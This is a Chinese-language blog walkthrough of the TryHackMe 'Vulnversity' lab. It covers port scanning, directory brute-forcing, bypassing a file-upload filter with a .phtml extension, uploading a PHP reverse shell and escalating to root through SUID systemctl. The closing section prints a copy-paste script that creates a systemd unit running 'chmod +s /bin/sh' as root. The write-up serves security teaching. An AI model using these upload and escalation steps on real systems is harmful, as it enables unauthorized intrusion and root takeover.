【THM】脆弱性

发布时间 2023-12-10 19:59:08作者: trymonoly

脆弱

了解主动侦察、Web 应用攻击和权限提升。

20231210183723544-image

开放了6个端口,操作系统是ubuntu linux,web服务运行在3333端口,好了前面的10000端口扫描完了,有前进的路线了,剩下扫描全部端口不能少任何一个信息。

20231210184130416-image

然后用gobuster对3333端口的web服务扫描一下大概结构

20231210184450482-image

扫描发现了上传文件的目录internal

20231210184805651-image

20231210185343526-image

确定了是php后端语言开发,所以上传的后门也应该是php。

20231210185546324-image

制作一个模糊查询,去测试过滤了啥。

20231210185817140-image

20231210185932906-image

20231210190002364-image

发现没有过滤phtml扩展名,直接可以上传成功了。

20231210190139666-image

shell的一部分文件,获取此shell 

 
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

改一下ip和port,直接访问上传成功的页面就可以了

20231210190256763-image

现在可以去寻找我们上传的shell在哪了

20231210190744485-image

访问一下这个目录

20231210190829936-image

点击执行就完事了。你就会获得一个shell。

20231210191223376-image

获得shell,先加固一下shell防止手残,按ctrl+c

20231210191607529-image

出了点小问题,但问题不大。

20231210191914540-image

得到一个完整的shell。

开始提权了,因为是data用户

大概的提权思路是,先查看历史记录,有没有输错指令暴露密码,再试错误的/etc/pass和shadow的权限配置,在看suid或guid,只看错误的服务配置,在看定时任务,在看sudo,在不行就查看内核。

20231210192217736-image

查看历史记录

20231210192243654-image

啥都没有,看看ssh密钥文件。

20231210192331764-image

也什么都没有。

在看/etc的权限错误

20231210192421545-image

也没用,再看有没有root用户运行的服务

20231210192704666-image

发现有很多,但是我不会利用,我只会以root用户运行的udf提权。

看看sudo吧

20231210192751719-image

好了,sudo也没有,看看suid和guid吧。

20231210193044494-image

看看漏洞盒子

 
https://gtfobins.github.io/gtfobins/find/

20231210193217542-image

发现有了,ok查看利用一下

20231210193708254-image

20231210194823544-image

 
#复制以下所有代码到目标机的shell界面即可(该脚本的目的是创建一个系统服务并以root用户身份运行它)
 
TK=$(mktemp).service #我们创建一个名为“TK”的环境变量。在这个变量中,我们调用mktemp命令来创建一个临时文件,作为Systemd服务单元文件(.service在最后)
 
 
#创建一个单元文件并将其分配给环境变量--以此完成服务单元文件的构造
#下面是我们执行单元文件所需要的配置
#默认情况下:systemctl将在/etc/system/systemd中搜索文件。
#但是当前的登录用户没有权限写入/etc/system/systemd,我们通过将单元文件内容 一行一行地回显到刚才创建的env变量中来解决这个问题
echo '[Service] #调用echo命令开始回显输入(注意单引号,通过不包括关闭行的第二个单引号,我们能够输入多个单行并完成我们的Systemd服务单元文件)
Type=oneshot
ExecStart=/bin/sh -c "chmod +s /bin/sh" #当服务启动时调用默认的系统shell(-c 告诉shell执行引号中的所有内容)
[Install] #单元文件的第二部分
WantedBy=multi-user.target' > $TK #设置此服务将运行的状态(或运行级别),将我们的所有输入指向TK env变量
 
#使用 systemctl 运行这个单元文件
/bin/systemctl link $TK #这使得我们的单元文件可用于systemctl命令,即使它在标准搜索路径之外
/bin/systemctl enable --now $TK #启用一个单元实例--服务单元文件得以运行

大概提权意思就是,在单元格运行时,会用ExecStart=/bin/bash -c执行“ 需要执行的命令”,这就是提权的核心